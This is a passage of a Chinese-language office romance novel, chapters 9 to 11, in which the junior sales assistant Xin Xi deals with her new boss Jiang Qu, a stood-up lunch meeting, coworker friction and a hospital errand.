很明显不是,“但寻欢作乐的事情,若没有酒精助兴,就太无聊了。”
“收收心吧”,姜渠难得好言相劝。
“干嘛?让我像你一样,灭人欲、断情绝爱?”
姜渠揉着跳动的太阳穴,再好的朋友也得有所保留,更何况,那是一段连当事人都否认的往事。
如她所愿好了,就当无事发生。
他向来不喜欢纠缠,不管是在感情还是工作上,不然也不会在被背叛后,干净利落地抽身离开。
合则来,不合则分。
时间应该花在更有价值的人和事情上。
施琪原本也最欣赏他这点,不然当初也不会丢开美国积累的一切,同他回国。
“你说,佟歆亚如果见咱俩现在这幅模样,会不会更得意?”
施琪也有些醉了,莫名地想起那只骄傲的浑身带钻的孔雀公主。没等姜渠回答,自己倒先笑了起来,“我都能想象她会说什么。”
“她在国外长大,对国内有偏见。”
“岂止是偏见。”
佟歆亚对国内的那些挑剔,已经不单单只是因为文化差异导致的认知偏差,其实质,是源于她的高傲,而高傲导致她的狭隘。
她俩向来不对付。
施琪是佟歆亚的假想敌。因为姜渠和施琪的伙伴关系,在她看来,超出了友情的界限。而施琪最烦佟歆亚那副娇娇滴滴的模样。
在国外时,他们时常约着各种户外活动,偏这位大小姐,风不能吹,日不能晒的,时常扫兴。
她至今无法理解,姜渠为什么会和她谈恋爱。
或许男人都一样肤浅,喜欢一切漂亮的养眼的。
施琪从姜渠的眼中探秘到一丝能够称之为忧伤的情绪,问:“你不会还对她余情未了吧?”
“同样的问题,我不做第二遍回应。”
得!
施琪顺着他的目光落到不远处,俊男靓女,真是一副好光景。
“还挺养眼的哈?”
也不知道简运又说了句什么,惹得身旁人跟着起哄,辛熙与他隔着一拳的距离,并排站着,俨然一对璧人儿。
施琪多事地追问了一句,“咱公司不反对办公室恋情吧?”
成功得来了他的白眼,姜渠将杯中酒一口饮尽,“不早了,让大家都散了吧。”
散吧,早早晚晚,都得散了。
施琪起身,朝起哄的人群走过去,“辛熙,我有点喝多了,方便送我一下吗?”
辛熙如释重负,赶紧拿起包跟过去,“方便,方便。”
身后的起哄声却生怕她听不到似的,愈加露骨,“把人家小姑娘都吓跑了,简运你不行啊。”
简运的笑声紧追着过来,“我努努力,再接再厉。”
辛熙想:早晚要把桌子掀了,让他们都闭嘴!
但这次......就又先算了吧,她有很多的顾虑。
社交场合的求全,是学生时代被规训好的行为准则。
辛熙搀着施琪往停车场去,说是搀着,其实并没有用多大的力。刚走过拐角,确认其他人看不见,施琪已经站直身子,拍拍她的肩膀,“好了,不用送我了,你自己早些回去哦。”
“真的不用我送吗?”辛熙并不放心。
“不用,喏,我司机来了。”
施琪指着不远处,红色车子旁一位高大帅气的风衣男子被“滴滴”的声音惊得回过头,半点恼色没有,反倒朝她宠溺地挥挥手。
辛熙这点眼力见儿还是有的,立马止步,“那我们明天再见咯。”
“再见!”
只不过,辛熙刚走出没多远,施琪的电话就打了过来,语气抱歉,“辛熙,你还没走远吧?有点事情想要拜托你。”
“没呢”,辛熙单纯地以为她落下了什么东西,已经掉头转身,往回走了,“是什么东西忘了拿吗?”
“那你回停车场那边去。姜总喝多了,我给他叫了代驾,电话我就留你的,你等代驾到了,把他扔车上就行。”
“姜......姜总吗?”那她应该扔不动吧。
“嗯,别怕,他不吃人”,施琪明显带着醉意,语气轻挑,“辛苦了辛熙,改天请你吃饭。”
辛熙不辛苦,但辛熙心苦!
辛熙到的时候,姜渠正坐在马路牙子上,倒没有不省人事,只是脑袋有些昏昏沉沉。
施琪在经过他时,确定他还没叫代驾,不放心,才给辛熙去的电话。
不得不承认,即便是这么随意往路边一坐,姜渠浑身也有种不好惹的气势在。自己之前是哪里借来的勇气,招惹这么一个的人?
代驾打来电话问车在哪儿?辛熙往旁边的露天停车场看了看,只记得是辆黑车,连车型都没注意,赶紧小跑着跑到姜渠面前,拍拍他,“姜总,代驾到了,您车停在哪里?”
姜渠看着突然出现在眼前的人,有些发愣,总不能出现幻觉了吧。
“姜总,姜总?”辛熙又再叫了两遍,将正在通话的手机举到他眼前晃了晃,“代驾,代驾来了,您车呢?”
姜渠猛地抓住那只手,“别晃,头晕。”
手腕处被强势地扼住,热气顺着交叠处度过来一阵一阵地酥麻感,辛熙无比庆幸自己背对着路灯站着,否则此时的脸红心跳公之于众,她将首先被自己的道德高墙给压倒。
偏这渣男,居然直接抓着她的手腕接电话!
“B区308号停车位,对,黑色保时捷,京A38560。”
温热地气息编织成一张密网,在暗夜里,勾住一些蠢蠢欲动的念头,欲行不轨。
不愧为是渣渣啊,勾引人的手段是防不胜防啊。亏得我火眼金睛早就识破了你的伎俩!我,绝对不会重蹈覆辙!
辛熙屏气凝神,用力地瞪着眼反击,目光炯炯,眼神纯净无欲。
殊不知,这在醉酒的姜渠眼中却有另一番情致。
原始的带有侵略性的占有欲生发出来,被现代文明强行教化安抚,姜渠喉结滚了滚,起身将人推开。
“别跟过来。”
哼,计划失败了吧?恼羞成怒了吧?辛熙有些得意,不跟就不跟咯,她巴不得。
回到家时,已经快11点,这个点,黎英早睡了。
辛熙蹑手蹑脚地打开门,客厅留着一盏暖黄的照明灯,餐桌上是黎英留的字条:锅里温着牛奶,喝了再睡!
又是被温暖治愈的一天呐!
什么烦恼都没有!内心一片祥和!辛熙心满意足,收拾妥当后跳上床。
嗯,今晚好梦......
第二天,黎英起床时,辛熙已经在厨房里忙活了,砂锅里咕噜咕噜地冒着热气。她靠着灶台,一
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边搅动一边吹气,生怕粥溢出来。
两片起雾的眼镜片就这么挂在小巧的鼻梁上,和黎英戴的老花镜如出一辙。
黎英将她拉开,“走,走,我来,不是让你不用早起的嘛。”
“我睡不着。”
她,竟然破天荒地失眠了!
“昨晚喝酒了?”黑框眼镜下还能看到微微发红的眼睛。
辛熙心虚地点头,两根指头比划着,“只喝了这么一点点。”
“你们公司新来的这领导怎么回事,同事间聚个餐还要喝酒。”
“做业务的嘛,难免咯。”
“低级的销售才是靠喝酒喝出来的。再说,陪客户喝喝也就算了,自己部门聚会还喝什么酒。”
“可能......高兴吧。”
“我看只有那领导高兴,端架子端习惯了,就喜欢底下人捧着”,黎英关掉炉火,“你那领导我管不着,但是你,不是让你不要喝酒的嘛,年轻的时候胡作非为,拿身体当本钱,老了怎么办。”
“我就喝了一点点”,辛熙卖乖地说:“我在里面兑了可乐,嘿嘿,他们都没发现。”
她自认做得很隐秘。
趁身边的同事都在推杯换盏,她动作极其迅速地将可乐掺进了红酒杯里,抿了抿,还挺甜。
当时还有人笑她贪杯,怎么光就自己喝了起来。
她赶紧提杯,敬了一个。
可今天,她还是只能顶着个肿泡眼红血丝,架着个黑框眼镜,去公司。
失眠才是原罪!
辛熙无精打采!
电梯门打开的时候,姜渠和施琪出现在眼前,只不过两个人都是精神焕发,半点没有宿醉的疲态。
施琪依然热情,“早上好,辛熙。”
“早上好,施琪姐”,辛熙抬了抬镜框,走进电梯,站在角落里,眼神无处安放,“姜总,早上好。”
“昨儿辛苦你照顾姜总了。”
“倒也没......”没照顾,辛熙有种如芒在背的局促感,“没辛苦。”
“怎么这么早就来了,不是通知了大家,今天可以晚些开工吗?”施琪半点没有把姜渠这个老板当回事儿,当着他的面抱怨起工作,“要不是一早和Global那边有会,我铁定要睡到中午。太困了,打工人的命也是命啊。”
辛熙觉得自己此刻应该要给出回应的,但碍于姜渠在电梯里,不能附和,只问:“那需要我帮你,你们买咖啡吗?”
“不用,我已经灌了两杯美式了”,施琪见她虽然无精打采,倒不像是宿醉未醒,问:“你昨儿也喝不少吧?”
“还好”,辛熙不敢承认也不敢否认。
“你酒量这么好的吗?”
啊?
“那等下了班,我们约喝酒去啊。”
一直低头回消息的姜渠,冷不丁来了一句,“可乐兑出来的量,你也信。”
当场打脸,也未免太没风度了吧,辛熙在心底骂了句:渣渣。
但并不妨碍,她刷开门禁时狗腿式地让老板先进。她把这叫职场礼数,而一名合格且成熟的职场人,需要知礼数。
“何耀丹什么时候能到岗?”
“最快下周吧。向总那边,还不太想放人。”
姜渠抬臂看了看手表,“早上的会,咱们争取提早结束,会后我去找找他。”
“也好。他就是摆摆架子,毕竟咱初来乍到,直接抢了他最得力的,心里肯定不痛快。”
姜渠轻笑,自己部门内斗,搞得乌烟瘴气,留不住人能怪谁?
整个销售部的办公区在同一个方向,辛熙听他们聊起工作,特意放缓了步子,生怕听见什么不该听的高层机密。
谁料,前面的人却突然止步,回头吩咐她:“你帮我约一下向总的时间。”
9. 第 9 章
交付团队是出了名的挑剔难搞,个个都是大神。用卢湘的话说:那是个个眼睛都被肚子里的五车才华顶到天上去了的。
向良才是交付团队的老大,辛熙催进度的时候碰到过他几次,每次都被怼得狗血淋头地回来。
所以,当辛熙再一次站到向良才的办公室门口时,她深吸两口气,给自己做了一顿分析:月薪八千,一天除掉房租、交通费和饭钱,还剩五十块。
嗯,五十块钱挨一顿骂,也行。
多不值钱啊。但可不是咱不值钱,是这些狗屁领导的狗屁话不值钱。
辛熙立马来了勇气,敲了狗屁领导的门,听到里面传来一声“进”,立马换上狗腿式的笑容,推门进去。
狗腿子和狗屁,谁都不比谁高贵。
“向总,请问您待会儿有时间吗?姜总想约您聊聊。”
“姜总?”
装疯卖傻了不是,销售部新来的GM,你能不知道是谁?但她的笑容比春风和煦,毕竟还没开骂呢,“是的,我们销售部新来的老板。”
“他要约我聊什么?”
肯定聊工作啊,不然还能跟你聊感情啊,“不太清楚呢,但姜总说了,时间地点主要看您方便。”
向良才的眼睛自始至终没有从电脑显示器前移开,稍久后,在他又要转战到笔记本上操作时,才勉强递过来一个恩赦的眼神,冷冷淡淡,“中午吧,让他在食福居等我。”
“好咧,那您忙。”
辛熙恭恭敬敬地退出去,有种白捡了五十块钱的满足。
约好向良才的时间,自然得告知姜渠一声,可微信上碍眼的那句话,至今还虎视眈眈地蹲在那儿,把守着一种界限,而她回复一句,就是越矩。
辛熙没敢给他发信息。
磨蹭到施琪出来,辛熙像抓到救命稻草似的,请她帮忙转达。
“虽然只是举手之劳,但是,辛熙宝贝”,施琪决定给这个乖巧但稍显怯弱的女孩一句提醒,“老板交代的事情,最好亲自向他汇报结果。”
辛熙只能硬着头皮,在施琪鼓励的眼神里敲响了姜渠的门。
“请进。”
进与请进,虽然只有一字之差,但这让当时的辛熙听来,却敏感地拨动天平秤,偏向后者。
谁不想被以礼相待呢。
“姜总,您让我......”
姜渠抬手做了个“稍等”的手势,辛熙的话,半路遇阻。
Global那边要对刚才的细节做二次确认,teams上的视频通话已被接通,她的老板在应付他的老板,而她只能干等着。
辛熙那踩线过的六级英语,勉勉强强听懂了几个“rate”“benefit”“budget”,注意力却不由自主地被他的腔调吸引,像正在参加英语听力的考试,竖着耳朵生怕漏掉些重要信息,却偏只能听到些不重要的。
而姜渠挂断通话后问的问题,让辛熙再一次确认了这个感觉。
“刚global要求我们的BDR控制在多少?”
“BDR?”那是什么?辛熙瞪着眼,为什么要突然拷问我?
“坏账率,bad debt rate。”
“哦,那您刚才......是没记住吗?”
辛熙一脸真诚地发问,不然干嘛问我,我哪里知道的咯。
姜渠见她刚才听得认真,以为是对内容感兴趣,遂多问了一句。
“算了,你找我什么事?”
“那个......津南总院的合同,申请了非标条款,财务认为风险很高,需要您批复邮件;廊坊人民的客户认为和我们签订的合同价格过高,找了三方,要求提前终止,需要您在系统里审批;赵粤那边申请了备用机......还有,足踝线圈无货,产品部发了通知,让各区下发,咱北区还没收到,跟您确认下,如何处理......还有,还有向总约您午餐时在食福居碰面。”
辛熙一口气说了很多,如果不是他现在兼着北区的Director,她原本是不需要找他说工作的。
既然暂不可避免,那就干脆一股脑儿地把该催的都催办了。既能体现自己高效,又能减少与他的碰面机会,两全其美呢。
但这却让姜渠皱了眉,“你确定我能记住?”
“那怎么办?我写给您?”
说完,辛熙就要去拿他桌上的纸笔,却被姜渠眼疾手快地止住,指了指手机,“信息化时代,无纸化办公。”
姜渠看出了她的犹豫,“怎么?又把我删了?”
“啊,没,没”,辛熙赶紧摇头,“我下去整理下就发您”,然后再一次做贼心虚地脸红了。
姜渠发现逗她蛮好玩的,脸上好似只覆着一层薄胎般的白,轻易就能惹得腠理下红花漫天。
“等等,食福居在哪儿”,姜渠叫住那个低头往外退的人。他上周才算正式到这边,连食堂都没去过,就更不了解园区里的其他地方了。
“在活动中心往西,绕过喷泉......”
姜渠没有耐心听完,一边穿外套,一边说:“算了,你带我过去。”本来就是自己要约的人,眼看着时间临近,如果自己到时候找不到路,再问来问去地,耽误了。
可能是因为姜渠面孔生,偏又长得出众,长身玉立,很难让人忽视,在往食福居去的路上,辛熙也陪着收到了不少注目礼。其中有几个相熟的,甚至明着揶揄,那眼神,分明就是在说:辛熙,你可以哦,平日里看着不声不响的,原来拿着王炸牌啊。
辛熙不得不刻意落后点距离,在有人同她打招呼时,高声解释:“我老板,老板,新老板。”
此地无银三百两!
老板是新的,男人却不是。
食福居是一家格调较高的中餐馆,环境和菜品都相当不错,当然,价格更不错。常是园区内各大公司高管用餐的地方,偶尔也会用来接待到访的客户。
当然,像辛熙这样的小职员,一般就在公司楼下的食堂解决了,毕竟还有餐补可以用。
但食福居她是来过的,在门口路过。
辛熙是想把姜渠送到门口就撤的,但他拉住她,“你是想让我一间间包房去找?”
虽然画面想着有些好笑,但就送佛送到西吧。
辛熙虽然没来食福居消费过,但食福居的前台是麦高那个和她相熟的保洁阿姨的女儿,工作还是她帮着在中间介绍的呢。
今天刚好就是林早值班。
林早本来应该叫林草,但因为她爸妈去给她上户口时,头上的草字头被雨水淋了,晕开成了一团黑墨,户口登记处的人就给登记成了“早”。
早不早,草不草的,倒也没多大差别。
辛熙推门进去的时候,林早刚好为上一位客人结完账,见辛熙进来,欢欣鼓舞地哇了一声,“熙熙姐,发达了啦,终于舍得来我们这儿吃饭了。”
之前闲聊时,辛熙曾说过,只要转岗成功,签下单,工资翻番,她就天天来这里吃饭。
打趣的话在捕捉到后面跟进来的人影时戛然而止,两个人短暂的眼神交流
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后,林早立马领会,“陪领导来的呀,领导,里面请。”
林早不该叫林早,应该叫林间的鸟儿,叽叽喳喳,但又极有眼力见儿。
“早早,我们公司的向总来了吗?在哪个包间?”
林早从小书不咋读得明白,偏就这记人识人的本事,天生了得,从小靠着一张巧嘴儿混生活。
食福居的老板原本并不想要这个从乡下来的带着天然泥土气息的土妹儿,但面试那天,她愣是将店里的上至店长,下至厨师、服务员挨个给认得明明白白,哄得开开心心。
林早想了想,“他应该是在三楼的333包厢,不过和他一道来的还有好几个人,我看他对那些人那态度,应该是在招待什么重要的客户吧。”
“那我们上去?”辛熙在问姜渠的意见。
姜渠却对林早说:“那麻烦你先帮我们带个话,问他是否方便出来见一下。”
林早应得积极,“领导发话了,那成,我这就去。”
姜渠看出了辛熙的疑惑,“想问我们为什么不直接上去找他?”
辛熙点头。
“你确定他跟你约好了时间?”
“确定啊,他自己说的。”
林早很快就下来了,朝他们摇摇头,“向总说他今天没约其他人,并且嘱咐了,不让人再去打扰。”
“怎么能这样呢?”自己说过的话都不认!
辛熙恨不能现在就跑上楼,抱着向良才的大腿,我老板都来了,你见见,见见啊,装什么大尾巴狼,就非得让我在老板面前,连这么点小事都办不好吗?
你们神仙打架,干嘛连累咱们小鬼遭殃!
辛熙借着余光觑向姜渠,不安地解释:“我们真的约好了的,他可能忙忘了,我给他打个电话。”
手机屏幕却被一只手盖住,“你打电话他会接?”
姜渠的脸色当然不好看,以他的人设、地位,在外面肯定得是众星捧月、吆五喝六的,今天居然在一个小饭馆,吃了顿闭门羹。
“姜总,要不您先回去休息,我在这儿守着?等向总出来,我再重新和他约时间。”毕竟你一个GM在这儿守着,多掉份儿啊。
“不急,来都来了,我们先吃饭。”
倒是比辛熙淡定得多。
辛熙第一次在食福居吃饭,但是食不下咽。
心头有股闷气顶着,随时有炸裂之危,但这也占据了她全部的敏感心思,以至于她没有意识到,她此刻,正在和姜渠单独吃饭。
姜渠用筷子敲了敲她的碗沿,“吃饭专心点。”
“对不起啊,是我办好,但他真的答应我了”,辛熙十分懊恼。
姜渠本以为只是一件小事,但看辛熙这个样子,不知还得纠结多久,干脆也搁了碗筷,“他和你确认时间的时候,有第三人在场吗?”
“啊......没有啊。”
辛熙不解地抬头,为什么这么问?
“有以任何形式留下记录吗?”
“没有。”
“那你怎么证明你俩已经约定好了?”
辛熙意识到自己可能正在被质疑,眉心紧蹙,唇线绷紧,“你认为是我在撒谎?”
“我只看结果。”
“不是......这么小的事情,我至于吗?”辛熙双手撑着桌沿,上半身前倾,终于有点了不可任由人拿捏的气势。
姜渠勾了勾唇,重新拿起筷子,“你也知道是小事咯,那就好好吃饭。”
载满心事的小纸船,触了暗礁......
10. 第 10 章
“以后在和任何人align好任何事情后,都可以发条确认信息,既是一种提醒,万不得已时也可以是规避责任的证据。”
“那要怎么发?”
“回去自己想,先吃饭。”
“哦,好。”
想做销售,闭门羹不会少吃。
创业初期,在美国时,姜渠没少被人拒之门外。
有不少人,纯粹是因为他的亚洲面孔而主观地认为他代理的设备,一定是欧美这边的淘汰品,技术落后且售后无保障。
“来到我们国家,就安分一点,别再想赚我们的钱!”
“老老实实,镀层金,回国忽悠你们的国人去吧!”
“这些高精尖的技术产品居然交给你一个亚洲人代理,真是太不懂技术保密了。”
“难怪中国这几年的高新创新技术发展不错,厂家不知道你们中国人最会搞山寨了吗?”
总之,那几年,姜渠听过的偏见、恶语,已经超过人格侮辱,屡次上升到民族尊严上。
中国早不是原来的中国,可西方依然是原来的西方。
辛熙却仍然在为让姜渠陷入这个尴尬的境地里而惭愧不已,“姜总,等吃完饭,我一定给您一个交代。”
信誓旦旦的语气,姜渠为之一笑,“不和我划清界限了?”
这可是两码事儿,辛熙嗫嚅,“咱不是......得公私分明的嘛。”
公私分明的辛熙,被一通电话打断了思路,接起来,“您好......我不需要呢......嗯嗯......我不需要贷款......分期?不行不行......我不太需要用钱......嗯,辛苦了!谢谢!”
见姜渠疑惑地看着她,辛熙解释,“是银行的贷款推销。”
“你对谁都这么礼貌?”
“嗯?”辛熙明白过来,回答:“哎呀,都是打工人,都不容易嘛。”
虽然自己没能力帮对方创造业绩,但至少不要给人家添堵吧。
姜渠不置可否,眉弓微扬,“但愿你以后遇见的客户也能这样对你。”
“什么?”
他却并不往下延展,“吃饭就好好吃,吃饱好回去干活。”
“知道了。那咱们不等向总了吗?”
姜渠将最后一个萝卜酥夹到她碗中,“吃完,你先回去。”
那一枚形似金枕的萝卜酥,松脆清甜,她盯了好久,偏一份就3个,辛熙不敢将第三个据为己有,问:“你不喜欢吃这个吗?”
“不喜欢!”可以了吧?姜渠加重语调,这才见她坦坦荡荡地接受。
“嘿,我喜欢。”
结账的时候,林早自然而然地将扫码机指向了姜渠。
男士与女士,上司与下属,结个账,理所当然,辛熙却无法心安理得,“那我们AA吧?多少钱,我转您?”
姜渠冷下脸,“不用。”
社交关系的延续,必定是要有你来我往的过程,可辛熙并没有想那么多,只知道不能占别人的便宜。
林早朝她挤眉弄眼地打着圆场,“A什么A啊,下回你再给领导请回去就是了。”
别看辛熙大她几岁,在人际交往这一块儿,辛熙太过板板正正,完全没她知时识势,连林早都为她焦急。
辛熙知道,如果自己坚持的话,气氛会变得尴尬,索性应了,“那成,姜总,下回换我请您啊。”
姜渠的目光漫不经心地扫过这间食福居,格调环境菜品都还不错,问林早:“你刚说有什么充值活动?”
林早赶紧将宣传单页递过去,“注册会员,充两千送三百......充两万送三千。”
她省去中间的梯度,直接往顶格上报,“看在您是熙熙姐单位领导的份儿上,我给您最大的优惠,充两万送五千。”
拓展会员,提高销售额,也是林早的工作之一,每达一定的数额,她都有笔可观的提成拿。这位姜总看着也不像缺钱的,而且麦高是出了名的薪资福利好,林早当然不会放过。
“那倒是借她的光了。”
今天的林早,总算扬眉吐气了,未来一个月,她都可以在食福居横着走了。林早在心里下了定义,眼前这位姜总,就是自己的第一位VVVIP的客户。
辛熙站在姜渠背后,在他付款后,悄无声息地感叹着世界的参差。
三个人各有心思。
辛熙回了办公室,处理了些积压的工作,鼠标在翻找文件时,看到了自己的转岗PPT。她再一次点开,从第一页,又认认真真地看了一遍。
精美却假大空,那些措辞和包装,是自己再看一遍都会起鸡皮疙瘩的,可那时简运告诉她,做销售就是得擅于包装。
销售产品时包装产品,销售自己时包装自己,那成套的衣服和精美的PPT模板都是她的包装。
为什么会失败了?
辛熙总结了几点:一、内容偏颇,明明自己擅长的是执行,可为了贴合销售的工作性质,偏以主动性作为总结的切入口;二、定位模糊,只显示出了自己的付出,而没有阐述出这种付出对公司的价值;三、业务知识欠缺;四、不自信+表达能力欠缺;五、......被姜渠吓的......说明内核不稳,缺乏对突发状况的灵活应变能力。
辛熙一通分析下来,觉得自己一无是处,但她并不气馁,去茶水间冲了杯咖啡回来,又开始琢磨如何有针对性地改进。
她从小就这样。没啥天份,但胜在努力坚韧,只要是自己想做的,就会竭尽全力,直到做成。
发现问题并不可怕!
前两点要有意识地去规避,而关于业务知识这一块,麦高定期有销售大讲堂,有产品培训,只能多多参加,勤快补拙。
第四、第五点嘛,辛熙觉得自己需要一名导师。
她首先想到了自己的亲姐姐辛雅。
辛雅从小性格就是开朗外放、自信大方的。学生时代她一直是学校里的风云人物。
辛熙比姐姐小四岁,在她身边一直是背景板一般的存在,但辛熙从不嫉妒姐姐的光芒,因为她在光芒底下获得的不单单只有阴影,还有庇护。
姐姐一直是她的骄傲。
从小,她就因为是辛雅的妹妹,而在各个阶段都受到了各种老师和学长学姐的照顾。
辛熙是懂感恩的,她一直乐于在这样的光芒之下,知足安乐。甚至考大学时,她都默默下定主意,要上姐姐上的那所大学。
那时,她的成绩离录取线还差很远,她就早起晚熬,把所有课余时间都拿来刷题,上网课,上培训班。到后面,甚至连辛爸辛妈都来劝她不要太拼,怕把身体熬坏了,“家里有你姐姐一个名牌大学生就好啦,你只要健健康康开开心心的,爸爸妈妈就满足了。”
两个孩子,一个可以充面子,一个可以暖里子,这对很多父母来说,已是幸事。
辛熙却半点没被说动,“可我努力上学,也是为了我自己呀。”
她是乖巧懂事的女儿,但她的社会角色,不仅限于此。
那时辛爸辛妈就明白,他们的二女儿,表面看似无欲无求、随遇而安,内心却是很有主意的。
辛雅的优秀,比她遇见的所有爱情都更从一而终。
毕业后的辛雅在一家投资公司做业务经理,在各行各业的精英圈子里游刃有余。
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>辛熙将自己的困惑说给了辛雅,一直到快下班的时候,才收到回复:第一,我还是那句话,你不是适合做销售,趁早放弃;第二,表达和交际能力没有速成的办法,只能在日常工作里刻意练习,也就是我之前跟你说的,装!你想成为什么样的人,就先把自己装作是什么样的人;第三,你才工作一年而已,要允许自己犯错。
辛雅最后还给她下单了几本相关的书,并说:书只是提供给你一个思考的过程,但真正的提升是需要去实践的。
辛熙回复了一句:知道了,谢谢姐。
辛雅此刻正坐在咖啡厅里做方案,余博文陪在旁边,微信跳出来的信息正好被他瞧见,揶揄道:“你这妹妹想做销售?这不是小兔子去野狼窝里抢食吗?”
“她想做就做咯。”
“你还是劝劝她吧,别到时候遇到点压力找你哭鼻子。我在医院见过那么多医药的、器械的销售,你妹妹,不行的。”
余博文撇着嘴摇头,那副嘴脸,让辛雅仿佛能看见辛熙被医院里的人扫地出门的样子,火气噌地起来,“我妹怎么就不行了!做业务的就非得油嘴滑舌、脸皮厚?你们就是做甲方,被哄惯了,吹捧几句、喝几顿酒、送几回礼,就成了?我妹人是乖巧老实了些,但至少她不坑人不骗人不满嘴跑火车。你们要真是为医院和病人好,还真应该多给她这样的人机会。”
“行,行”,余博文举手投降,“你妹妹最好。”
“我警告你啊,若她哪天找你帮忙,你最好好好办,办不好,滚蛋。”
辛雅是众星捧月般长大的,脾气算不得温和,偏余博文就喜欢她这劲儿,哄着,“知道啦,就是违背纪律我都帮。”
“你放心,你若想犯纪律的话,源头肯定不会是因为我妹。”
她那老实样儿,贼心都不敢有,莫说贼胆了。
辛熙回复了姐姐的消息后,点开teams上的会议日历,最近一次的销售大讲堂,就在本周五,她要提前安排好工作,然后找个安静的会议室学习。
旁边传来一阵重重地敲击键盘的声音,卢湘骂骂咧咧,“一个数据搞那么多花里胡哨的做什么!”
昨天的会议结束后,姜渠给她俩都布置了任务,让施琪带着,梳理清楚支持专员和销售的职责分工,哪些是必须的,哪些是可以数字化、系统化替代的,哪些又本是销售职责,但灵活协助的......
卢湘积极地领下了这项工作,她比辛熙早一年到公司,更熟悉各项操作体系,她主动揽下,再合适不过了。
可数据这一块,她不算擅长。因为几个销售经理时常有不同的想法,今天要从A面复盘,明天要从B面追进度,总之,时日一长,她们每周就需要交各种五花八门的数据表。
“卢湘,要不......数据这块的整理,我来做吧?”
卢湘头也没回,语气生硬,“你来做,到时候我怎么汇报,功劳算谁的。”
“我不是要抢......”
“呀!你一说话,我刚才想好的框架又忘了。”
卢湘埋怨的声音有点大,这让周围其他的人都望了过来,辛熙赶紧道歉。
“辛熙,拜托你,从现在起,不要和我说一句话。”
辛熙两手在唇边撕拉成一条线,意思自己已经闭嘴了。
卢湘加班加点地整理了三天,终于在周四下班前将内容交了上去。临走时,看着正在埋头工作人,啧了啧,“真会表现。”
辛熙从一堆堆资料里抬起头,眼镜框压在鼻梁上,没太听清卢湘的话,反而对着走远的卢湘,笑嘻嘻地挥手:“卢湘,明天见。”
她以为卢湘刚才在向她说再见。
11. 第 11 章
值得期待的星期五,如期而至。
脸上的那点擦伤已经可以用粉底盖住了,辛熙最近的化妆技术精进了不少,这一切得益于黎英。
黎英年轻时在供销社工作,后来又去了百货大楼,卖过衣服和化妆品。元如苏还在她膝下承欢时,黎英每天都变着花样地给她扎各种辫子,买花裙子。吉兆胡同里的人都知道,元家的闺女每天都打扮得像个花姑娘似的好看。
元如苏有花儿一样的青春年华,却回报给母亲一个孤独的中老年生活。
这些,辛熙尚且不知道。她那点薪水,能在京北的二环内租到个向阳的房子,有一个好相处的房东,已经是做梦都要笑醒的事情了。
销售大讲堂会在下午1点开始,辛熙早早赶到公司,加速地处理掉了订货、追踪物流、开发票这些常规事务后,提早点了外卖
简运的电话却比外卖员的先到,话音里很是着急,“辛熙,这回我可真得麻烦你了。”
简运平日里很少麻烦她或卢湘,他算是销售里,对这些支持性事务比较有责任感和自觉性的,很少甩锅给她俩,所以乍一听他这语气,辛熙知道,不是什么好事。
简运捡着重点将事情交代清楚。
京医医院有笔维保费用,前两个月就递交了发票和资料,设备科请款的老师因为怀孕耽误了流程,迟迟没走完签字流程。
款没回,财务卡着简运的派工申请,逼着这笔款。原本他是要自己去找领导签字的,但他今天却因为另一家的投标会延误,脱不开身。
“熙熙,不到万不得已,我是不会麻烦你的。”
这点辛熙还是信他的,但她有些犹豫,现在去医院,一来一回,肯定赶不上大讲堂的直播了,“那不能下周再去吗?或者明天也行。”
哪怕周末加个班呢。
“袁科长专门透露给我的,院长今儿刚回医院,有个大人物的手术要他参加会诊。你知道院长这种级别的,多难得能见上一次吗?”
大有错过今天,再等一百年的意思。
“可,院长也不认识我,能给我签字吗?”
“放心,放心。我交代好了。你先去袁科长那儿拿请款单,其他科室的签字她都找人签好了,现在就差院长的了。我待会儿给院长发条信息,解释一下,你大胆去啊。”
简运又再交代了一些才挂了电话。
辛熙无奈,装好电脑,就往楼下冲。在坐上出租车的时候,辛熙接到了外卖员的电话,只能请外卖小哥帮着把饭吃了。
十一点半,辛熙到达京医医院,大肚已经显怀的女人从抽屉里将资料几乎是甩到辛熙怀里的,“也不知道你们着急什么,还怕我们欠着不付是怎么地。催催催。”
辛熙有些懵,但还知道连声道歉,“麻烦您了。”
“我们不麻烦,你们多能耐啊。签字都要帮我们去签了,干脆工作以后都你们来帮我们做了呗。”
惯是会阴阳怪地呢。
辛熙拿着资料,如果不赶时间,她或许会等到袁科长发泄完,但今天她很着急,一边道歉一边往外退,“抱歉哦,给您添麻烦了。”
走出科室门,还隐约能听到里面的一些批判性的字眼。
原来销售口中的那些老师,并不是她成长过程中遇到的那种循循善诱的“老师”,而是不管你有没有错,都会先说你一顿的......甲方......嗯......可以不讲道理的甲方。
职场又教了她一课。
住院大楼下,一个穿着白色衬衫裙,外面套着件浅棕色皮马甲的漂亮女人追着跑出来,额前的两簇碎发如波浪般,有着好看的弧度。
女人和辛熙擦肩而过,淡淡地花香迎面过来,辛熙忍不住多看了两眼,一边往里快走,一边眼神锁定。
是漂亮姐姐也。
如果不是着急去找院长签字,辛熙一定会停下来,目送她远去。
大门外的另一侧,姜渠停下脚步回头,佟歆亚追了上去,顺着他的目光只能看到空空的台阶,“怎么了?”
“没事,看见一个同事。”
“那需要去打招呼吗?”
“不用。”
言简意赅,姜渠态度冷淡,佟歆亚早有心理准备,她又上前两步,几乎快要贴近,姜渠下意识地退了半步。
“Jim,这次真的多亏你,帮着爷爷联系医院、安排床位。原本我是想将他接到美国治疗的,但爷爷说什么也不肯去。”
“老人家恋土难移,也能理解。”
“可国内的技术......Jim,我还是有些担忧。这毕竟不是小病......”
姜渠打断她,“如果对国内的医疗技术这么不信任的话,那就还是早些安排出国治疗吧。”
“你知道我不是这个意思,我只是......”
佟歆亚有些着急,站到了姜渠的外侧,险些与一名穿着黄马褂的外卖员撞到,姜渠眼疾手快地拉了她一把。
佟歆亚顺势扑进他的怀里,搂住他精瘦的腰背,“你知道的,我很小就被爸妈送到美国,在国内已经没什么朋友了。Jim,我们还可以是朋友的,对吗?”
姜渠不为所动。可这在外人眼中,却俨然是一对般配且甜蜜的小情侣,正在以拥抱的方式宽慰不知为何事而来的忧愁。
比如,此时的辛熙。
院长的办公室在一区住院部的顶楼,可外访人员只能乘坐公共电梯。人实在是太多了,辛熙根本挤不进去,只能再一次选择爬楼梯。就在她气喘吁吁地撑着双膝,半途休息时,她的目光是最先被楼下飞奔的外卖员吸引过去的。
她想到了自己的那份外卖,并且有些饿了。然后,她又看到了那个漂亮姐姐,被一名高大伟岸的男子,强势地拉入怀里,吼吼,这让她看过的言情小说桥段照进了现实。
